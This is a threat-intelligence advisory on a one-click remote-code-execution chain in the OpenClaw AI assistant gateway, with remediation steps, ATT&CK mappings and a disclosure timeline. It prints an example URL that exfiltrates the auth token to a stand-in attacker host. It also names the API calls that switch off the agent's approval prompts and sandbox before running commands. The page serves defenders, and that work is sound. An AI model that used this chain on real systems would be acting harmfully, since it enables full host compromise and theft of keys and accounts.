OpenClaw CVE-2026-25253: One-Click RCE via Token Exfiltration

OpenClaw CVE-2026-25253 (TL-2026-0008) is a high-severity software vulnerability scored CVSS 8.8, first published 2026-02-02. It has no confirmed attribution, affects OpenClaw OpenClaw (formerly Moltbot/ClawdBot), references 1 CVE (CVE-2026-25253), maps to 38 MITRE ATT&CK techniques (T1005, T1041, T1059), and is covered by 31 detection rules and 64 indicators of compromise.

Key facts for TL-2026-0008

Threat ID
TL-2026-0008
Severity
HIGH
CVSS
8.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
Status
PATCHED
Category
VULNERABILITY
First published
2026-02-02
Last reviewed
2026-02-02
Attribution confidence
NONE
Motivation
Exploitation
Target sectors
Technology, Software Development, AI/ML, Individual Users, Startups
Target regions
Global
Detection rules
31
Indicators of compromise
64

CVE-2026-25253 is a critical 1-Click Remote Code Execution (RCE) vulnerability in OpenClaw (formerly Moltbot/ClawdBot), the open-source AI personal assistant platform trusted by 100,000+ developers. The vulnerability chains three flaws: (1) the Gateway Control UI blindly accepts a gatewayUrl query parameter and auto-connects via WebSocket without user confirmation, sending the stored authentication token to the attacker-controlled server, (2) the WebSocket server fails to validate the Origin header, enabling Cross-Site WebSocket Hijacking (CSWSH) to pivot into localhost-only instances, and (3) the stolen operator.admin-scoped token allows the attacker to disable all safety guardrails (exec-approvals, sandbox containers) and execute arbitrary commands on the host via the API. A single visit to a malicious webpage results in full host compromise — no user interaction beyond the initial click. Independently discovered by depthfirst GSI (static analysis), Ethiack Hackian (autonomous AI pentester in ~100 minutes), and researcher @0xacb. Fixed in commit 8cb0fa9 (v2026.1.29) by adding a gateway URL confirmation modal. CWE-669 (Incorrect Resource Transfer Between Spheres). GHSA-g8p2-7wf7-98mq.

How OpenClaw CVE-2026-25253 works

OpenClaw (formerly Moltbot, originally ClawdBot/Clawd) is a self-hosted, open-source AI personal assistant gateway that connects messaging platforms (WhatsApp, Telegram, Discord, iMessage, Slack) to AI coding agents. It provides 'god mode' capabilities: unrestricted local computer control, file system access, code execution, and API integrations. The platform grew to 100,000+ developer users within weeks of its viral launch in January 2026.

CVE-2026-25253 exploits a logic flaw in the Gateway Control UI's handling of URL query parameters. The vulnerability chain consists of three independently exploitable but devastatingly combinable weaknesses:

**Flaw 1 — Blind gatewayUrl Override (Token Exfiltration):** The Control UI's app-settings.ts accepts a gatewayUrl parameter from the URL query string and persists it to localStorage without validation or user confirmation. app-lifecycle.ts immediately triggers connectGateway() after settings are applied, and gateway.ts bundles the security-sensitive authToken into the WebSocket connect handshake. Result: visiting http://victim_openclaw.com?gatewayUrl=ws://attacker.com:8080 silently sends the auth token to the attacker. Each operation is individually reasonable; together they create a critical exfiltration path.

**Flaw 2 — Missing WebSocket Origin Validation (CSWSH):** While browsers enforce Same-Origin Policy (SOP) for HTTP connections, WebSocket connections do not have an equivalent CORS mechanism — the server must validate the Origin header. OpenClaw's WebSocket server accepts connections from any origin. This enables Cross-Site WebSocket Hijacking: JavaScript on attacker.com can open WebSocket connections to ws://localhost:18789 (the default OpenClaw gateway), using the victim's browser as a pivot point into their local network. As of Chrome v144, the Local Network Access flag is not enabled by default, so no additional permission is required.

**Flaw 3 — Token Scope Escalation to RCE:** The stolen token carries operator.admin and operator.approvals scopes, granting full API access. The attacker uses exec.approvals.set to disable user confirmation prompts (ask: 'off') and config.patch to force command execution on the host (tools.exec.host: 'gateway'), bypassing Docker sandbox containers. Finally, node.invoke with system.run executes arbitrary commands. The entire chain — from page visit to command execution — completes in milliseconds without any user interaction beyond the initial click.

**Discovery:** Independently discovered by three separate entities: (1) depthfirst General Security Intelligence via static analysis data flow tracing, (2) Ethiack's Hackian autonomous AI pentester in approximately 1 hour 40 minutes of fully autonomous black-box testing, and (3) researcher @0xacb. The Ethiack discovery is notable as one of the first documented cases of an AI autonomously discovering a chained 1-click RCE in a production AI platform — 'a hackbot hacking a chatbot.'

**Impact:** Full host compromise of any OpenClaw deployment where a user has authenticated to the Control UI. The attacker gains: access to all connected messaging accounts (WhatsApp, Telegram, iMessage, Discord), stored API keys (Stripe, Anthropic, OpenAI), file system access, shell execution, and all data the AI agent can access. Given OpenClaw's 'god mode' architecture, this effectively means complete control of the developer's machine and digital life.

**Fix:** Patched in commit 8cb0fa9 (v2026.1.29) by adding a gateway URL confirmation modal, removing the auto-connect-without-prompt behavior. All versions up to v2026.1.24-1 are vulnerable.

MITRE ATT&CK techniques used in TL-2026-0008

collection

T1005 Data from Local System; T1074 Data Staged; T1114 Email Collection; T1213 Data from Information Repositories

exfiltration

T1041 Exfiltration Over C2 Channel; T1567 Exfiltration Over Web Service

execution

T1059 Command and Scripting Interpreter; T1203 Exploitation for Client Execution; T1204 User Execution

privilege-escalation

T1068 Exploitation for Privilege Escalation; T1548 Abuse Elevation Control Mechanism

command-and-control

T1071 Application Layer Protocol; T1090 Proxy; T1571 Non-Standard Port

discovery

T1082 System Information Discovery; T1083 File and Directory Discovery; T1087 Account Discovery; T1518 Software Discovery

persistence

T1176 Software Extensions

initial-access

T1189 Drive-by Compromise; T1199 Trusted Relationship; T1566 Phishing

credential-access

T1528 Steal Application Access Token; T1539 Steal Web Session Cookie; T1552 Unsecured Credentials; T1555 Credentials from Password Stores; T1556 Modify Authentication Process

impact

T1531 Account Access Removal

defense-evasion

T1550 Use Alternate Authentication Material

defense-impairment

T1578 Modify Cloud Compute Infrastructure; T1685 Disable or Modify Tools

resource-development

T1583 Acquire Infrastructure; T1587 Develop Capabilities; T1588 Obtain Capabilities; T1608 Stage Capabilities

reconnaissance

T1592 Gather Victim Host Information; T1593 Search Open Websites/Domains; T1596 Search Open Technical Databases

Affected products and versions in OpenClaw CVE-2026-25253

  • OpenClaw — OpenClaw (formerly Moltbot/ClawdBot)
    Vulnerable versions: All versions before 2026.1.29; v2026.1.24-1 and earlier
    Fixed in: 2026.1.29 (commit 8cb0fa9)

Remediation for OpenClaw CVE-2026-25253

Patches

  • OpenClaw v2026.1.29: Commit 8cb0fa9 — adds gateway URL confirmation modal, removes auto-connect behavior

Immediate actions

  • Update OpenClaw to version 2026.1.29 or later — the patch adds a gateway URL confirmation modal preventing auto-connect
  • Rotate gateway authentication tokens immediately if running any version before 2026.1.29
  • Review connected messaging accounts and API keys for unauthorized access — check WhatsApp, Telegram, Discord, iMessage sessions
  • Audit shell history and file system for signs of unauthorized command execution during the vulnerable window
  • Check OpenClaw logs for unexpected WebSocket connections from unknown origins or gateway URL changes

Workarounds

  • If unable to update immediately: close the Control UI browser tab when not actively using it (token only exfiltrable when UI is open)
  • Use a dedicated browser profile for OpenClaw Control UI to limit cross-site attack surface
  • Block outbound WebSocket connections from the Control UI to non-localhost origins via browser extension or proxy
  • Set tools.exec.host to 'sandbox' in config and monitor for config changes attempting to override

Longer-term hardening

  • Implement WebSocket Origin header validation on the gateway server to prevent Cross-Site WebSocket Hijacking
  • Enable Chrome Local Network Access flag when available (Chrome v145+) to restrict cross-origin localhost access
  • Deploy OpenClaw behind a reverse proxy with authentication (nginx + basic auth) as defense-in-depth
  • Use separate API tokens with minimal scopes rather than operator.admin for routine operations
  • Enable exec-approvals.json strict mode and monitor for unauthorized approval policy changes
  • Run OpenClaw in Docker sandbox mode and monitor for config.patch requests changing tools.exec.host

CVEs associated with OpenClaw CVE-2026-25253

CVE-2026-25253

Weaknesses (CWE) in OpenClaw CVE-2026-25253

CWE-669, CWE-346, CWE-352, CWE-862

Timeline of OpenClaw CVE-2026-25253

Showing the 20 most recent tracked events.

  • Hackian confirms 1-click account takeover to RCE at 3:05 PM UTC — approximately 1 hour 40 minutes of autonomous testing. First documented case of AI autonomously discovering chained 1-click RCE in production AI platform. Source: Ethiack blog.
  • Ethiack deploys Hackian autonomous AI pentester against live OpenClaw instance at 1:21 PM UTC. Black-box approach with no prior knowledge. Source: Ethiack blog.
  • Community discussion on X about OpenClaw security concerns — instances running on public servers with ports open, temporary configs never changed, control panels accidentally public. Source: https://x.com/theonejvo/status/2015401219746128322
  • Ethiack reports vulnerability to ClawdBot/Moltbot maintainers at 6:02 PM UTC. depthfirst also reports finding. Multiple independent discoveries of the same bug. Source: https://ethiack.com/news/blog/one-click-rce-moltbot
  • Ethiack's autonomous AI pentester 'Hackian' discovers the vulnerability through black-box testing of a live ClawdBot instance. Vulnerability confirmed in approximately 1 hour 40 minutes. depthfirst General Security Intelligence independently flags the same vulnerability through automated code analysis. Source: https://ethiack.com/news/blog/one-click-rce-moltbot
  • Ethiack opens pull request #2880 with fix for the vulnerability. Source: https://github.com/moltbot/moltbot/pull/2880
  • Ethiack opens pull request with fix at maintainers' request. Source: https://github.com/moltbot/moltbot/pull/2880
  • Researcher @0xacb independently discloses finding the same vulnerability. Source: https://x.com/0xacb/status/2016913750557651228
  • Fix merged in main branch, commit 8cb0fa9. Adds gateway URL confirmation modal, removing auto-connect-without-prompt behavior. Source: https://github.com/moltbot/moltbot/commit/8cb0fa993ba0ba4a3e24c2a9e0416ab2ca796dcf
  • @0xacb publishes disclosure thread on X (Twitter), bringing wide attention to the vulnerability. Source: https://x.com/0xacb/status/2016913750557651228
  • Fix merged in main branch via commit 8cb0fa9. Patch adds gateway URL confirmation modal, removing the auto-connect-without-prompt behavior that enabled token exfiltration. Source: https://github.com/moltbot/moltbot/commit/8cb0fa993ba0ba4a3e24c2a9e0416ab2ca796dcf
  • Ethiack publishes blog with full exploit source code and PoC video demonstrating autonomous discovery by Hackian and the complete 1-click RCE chain. Source: https://ethiack.com/news/blog/one-click-rce-moltbot
  • depthfirst publishes detailed technical writeup of the vulnerability and complete 1-click RCE kill chain including CSWSH localhost pivot and sandbox escape. Source: https://depthfirst.com/post/1-click-rce-to-steal-your-moltbot-data-and-keys
  • GitHub Security Advisory GHSA-g8p2-7wf7-98mq published. Impact: full gateway compromise via token exfiltration, operator-level access, arbitrary code execution. Source: https://github.com/openclaw/openclaw/security/advisories/GHSA-g8p2-7wf7-98mq
  • OpenClaw version 2026.1.29 released containing the fix. All users urged to upgrade immediately and rotate tokens. Source: https://openclaw.ai/blog
  • CVE-2026-25253 assigned. NVD listing published with CWE-669 (Incorrect Resource Transfer Between Spheres). GitHub Security Advisory GHSA-g8p2-7wf7-98mq published. Source: https://nvd.nist.gov/vuln/detail/CVE-2026-25253
  • depthfirst and Ethiack publish detailed technical writeups with full exploit chains. Ethiack releases exploit source code on GitHub. Wide media coverage of the vulnerability and the AI-vs-AI discovery angle. Source: https://depthfirst.com/post/1-click-rce-to-steal-your-moltbot-data-and-keys
  • Trend Micro publishes research 'Viral AI, Invisible Risks: What OpenClaw Reveals About Agentic Assistants' examining security risks in the agentic AI paradigm. Source: https://www.trendmicro.com/en_us/research/26/b/what-openclaw-reveals-about-agentic-assistants.html
  • OpenClaw announces partnership with VirusTotal for ClawHub skill security scanning. Source: https://openclaw.ai/blog
  • As of 2026-05-29, CVE-2026-25253 ("ClawBleed") remains fixed in OpenClaw v2026.1.29 (commit 8cb0fa9, confirm-modal) with no patch bypass or successor superseding it. It is still actively exploited against unpatched exposed instances (135k+ public, ~63% unauthenticated) with public PoCs available; it is not in CISA KEV.

Sources cited for OpenClaw CVE-2026-25253

Threats related to OpenClaw CVE-2026-25253

Detection coverage for TL-2026-0008

As of 2026-02-02, Threadlinqs Intelligence publishes 31 detection rule(s) for TL-2026-0008 across Splunk SPL, Microsoft KQL and Sigma, covering 64 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Further reading

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats